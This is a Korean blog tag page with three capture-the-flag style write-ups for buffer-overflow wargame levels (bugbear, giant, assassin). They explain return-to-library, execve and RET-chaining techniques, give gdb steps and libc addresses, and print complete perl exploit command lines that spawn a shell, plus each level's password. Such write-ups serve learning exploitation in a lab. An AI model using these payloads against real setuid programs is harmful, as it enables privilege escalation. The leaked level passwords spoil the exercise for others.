심심해서 하는 블로그 :: 'RTL' 태그의 글 목록

1. 취약점


ㅋㅋㅋㅋㅋㅋ 아오 ㅋㅋㅋㅋㅋ 이제 RTL에 익숙해 질려하니까 no RTL이래 ㅋㅋㅋㅋ 반동분자 시끼들 ㅠㅠㅠ

일단 첫 번째 stack의 주소를 사용 못하고, 시스템 주소를 사용한 RTL 기법을 사용할 수 없다는 것이다.

하지만 argv[1][47]에만 제약을 했다는 점 고로 "\xbf"나 "\x40"을 제외한 나머지는 사용해도 상관이 없다는 점을 이용하면 된다. 적당한 걸 찾아야 하는데..


$ bash2

$ gcc -g -o assassi1 assassin.c

$ gdb -q assassi1

(gdb) disas main



0x804851e의 RET를 주목하자. RET를 한 후에 RET를 또 만나면 4바이트를 건너 뛰어서 다음의 코드에 접근할 수 있다.  따라서 system()의 주소를 argv[1][51]에 위치시켜서 RET 두 번 만난 애가 이 코드에 접근할 수 있게 Exploit을 해보자 각각의 시스템 주소는 이 전 단계를 참고해주세요

system() 주소 : 0x40058ae0

/bin/sh 의 주소 : 0x400fbff9

exit()의 주소 : 0x400391e0

new Return Address : 0x0804851e


2. Exploit

1. 바로 괴롭힌다.(응??!)

$ ./assassin `perl -e 'print "A"x44,"\x1e\x85\x04\x08", "\xe0\x8a\x05\x40","\xe0\x8a\x05\x40", "\xf9\xbf\x0f\x40"'`


2. 결과


id :  assassin   passwd : pushing me away

정말 레벨을 거듭하면서 느끼지만 공격 기법을 최초로 고안한 사람은 정말 대단하거 같다..

 

,

1. 취약점


popen() : 파이프라인을 생성하는 함수

sscanf() stdin이 아닌 문자열에서 입력을 받는 함수

ldd: 공유 라이브러리를 출력하는 명령어

nm: 오브젝트 파일에 포함되어있는 심볼 리스트를 출력


execve()의 주소는 첫 번째 빨간 네모에서 두 번째 빨간 네모의 각각의 결과의 합이라는 힌트(?)를 

코드 상에 보여주었기 때문에 각각의 빨간 네모의 명령어를 bash2상에서 수행한다.

권한 문제로 assasin파일을 접근조차 할 수 없으므로 ./giant 파일을 통해서 첫 번째 명령어를 수행하자

$ bash2

$ ldd /home/bugbear/giant | grep libc | awk '{print $4}'

$ nm /lib/libc.so.6 | grep __execve | awk '{print $1}'



첫 번째 명령어의 결과로 libc 공유 라이브러리의 메모리 상의 위치를 출력하였고, 두 번쨰는 execve의 명령어의 오프셋(offset)이다 따라서 execve의 주소는 0x40018000 + 0x91d48 = 0x400a9d48임을 알 수 있다. 

(고로 Return Address는 0x400a9d48)


execve(char *path, const char* argv[], char* const envp[])

첫 번째 인자는 "/bin/sh", 두 번째 인자는 "/bin/sh"의 인자 배열의 시작주소 세 번째는 null을 주면 끝이다.

직전 단계에서 이미 한 번 수행해 보았기 때문에 적극적으로 인용하겠다.

/bin/sh 의 주소 : 0x400fbff9 , exit()의 주소 0x400391e0


2. Exploit

1. 이제 필요한 건 execve()의 두 번째, 세 번째 인자다. 

   컴파일과 디버깅을 하기 전에 giant.c 파일에서 권한이 없는 영역을 수정한다.

$ cp giant.c gian1.c

$ vi ./gian1.c

$ gcc -g -o gian1.c "`perl -e 'print "\x48\x9d\x0a\x40"'`" 

$ gdb -q "`perl -e 'print "\x48\x9d\x0a\x40"'`" 



빨간 네모로 수정을 한 후 저장을 한다. 그리고 컴파일 결과물을 /bin/sh의 주소로 한다.

왜냐하면 c에서 execve()의 사용하는 모습으로 확인할 수 있다.



위의 함수에서 char* argv[], 즉 두 번째 인자 역할을 수행할 녀석이 필요한데, 그 역할을 argv[0]로 하면

아주 오래 전에 파일명을 이용한 오버플로우를 수행하였을 때(vampire -> skelton) 메모리 상위에서 바퀴벌레 같이 숨어 있는 두 번째 인자를 획득할 수 있다. 



2. 각설하고 두 번쨰 인자 주소를 찾아보자

(gdb) b *main+3

(gdb) r `perl -e 'print "A"x40'`



오랜만 바퀴벌래?! 

저 부분에서 파일 경로 부분을 제외한 부분을 사용해야 /bin/sh 부분만 남기 때문에 

0xbfffffe9 + 14 = 0xbffffff7 이 두 번째 인자의 주소이다.


3. 세 번째 인자는 두 번째 인자의 마지막 자리 숫자를 바꿔 가면서 null pointer를 찾아 본다. 

(gdb) x/x 0xbffffffc  <- 잡았다 요놈! 


4. 즐거운 괴롭힘 시간~

$ cd ~

$ ln -fs ./giant "`perl -e 'print "\x48\x9d\x0a\x40"'`" 

$ ./"`perl -e 'print "\x48\x9d\x0a\x40"'`"  "`perl -e 'print "A"x44, "\x48\x9d\x0a\x40", "\xe0\x91\x03\x40", "\xf9\xbf\x0f\x40", "\xf7\xff\xff\xbf", "\xfc\xff\xff\xbf" '`"


5. 결과



id :  giant   passwd : one step closer


 

,

1. 취약점


스택의 배신

하나씩 하나씩 새로운 공격기법이 나오기 시작한다. 앞의 레벨은 그냥 맛보기였어 ㅠㅠ

이번엔 스택의 Return Address에 "\xbf"로 시작하면 안된다고 한다. 그리고 문제위에 나와 있는 RTL

함수 스택으로 리턴하는 방식이 아닌 라이브러리로 리턴을 하는 방식이다.


RTL(Return To Library)

그 동안 BOF 원정을 다니면서 주된 공격방식은 함수 스택 내에 쉘코드를 주입하고 Return Address를 조작하여 해당 쉘코드로 이동하게 하여 공격하는 방식을 이용하였다. 이것의 대안으로 나온 Non-executable Stack 등을 우회하기 위한 공격으로 메모리에 상주하고 있는 공유 라이브러리를 이용하여 Return Address를 공유라이브러리의 함수로 덮어버리는 공격으로 쉘코드가 필요 없는 공격 기법이다. 따라서 공격을 성공시키기 위해서 공유 라이브러리 내의 system()함수와 /bin/sh의 주소를 알고 있어야 한다. 


2. Exploit


1. bash2를 사용하고 파일 복사, 컴파일, 디버깅을 수행한다.

$ bash2

$ cp ./bugbear.c /tmp/bugbear.c && cd /tmp

$ gcc -g -o bugbear ./bugbear.c

$ gdb -q ./bugbear


2. 중단점은 처음으로 설정한다. 우리가 알고자 하는것은 system()의 주소이다.

(gdb) b *main+3

(gdb) r 

(gdb) print system

(gdb) print exit



system()의 주소 0x40058ae0 ,exit()의 주소 0x400391e0


3. /bin/sh의 주소를 찾는 소스코드를 작성한다.

$ vi sh_find.c

$ gcc -o sh_find sh_find.c && ./sh_find


/bin/sh의 주소 0x400fbff9


4. 즐거운 괴롭힘 시간~

$ cd ~

$ ./bugbear `perl -e 'print "A"x44, "\xe0\x8a\x05\x40", "\xe0\x91\x03\x40", "\xf9\xbf\x0f\x40"'`

system() 함수는 ebp+8 지점의 값을 읽어와서 수행을 한다. 따라서 ebp+8 지점에 /bin/sh가 존재하여야한다.

그리고 system()함수가 수행한 후 정상적인 종료를 수행하기 위해 /bin/sh 와 system() 사이에 exit()를 둔다.

그럼 함수가 정상적으로 종료된다. 없어도 결과를 산출하는데는 문제가 없지만 Segmentation Fault가 거슬린다면 해두는게 좋다.


6. 결과

id :  bugbear   passwd : new divide


 

,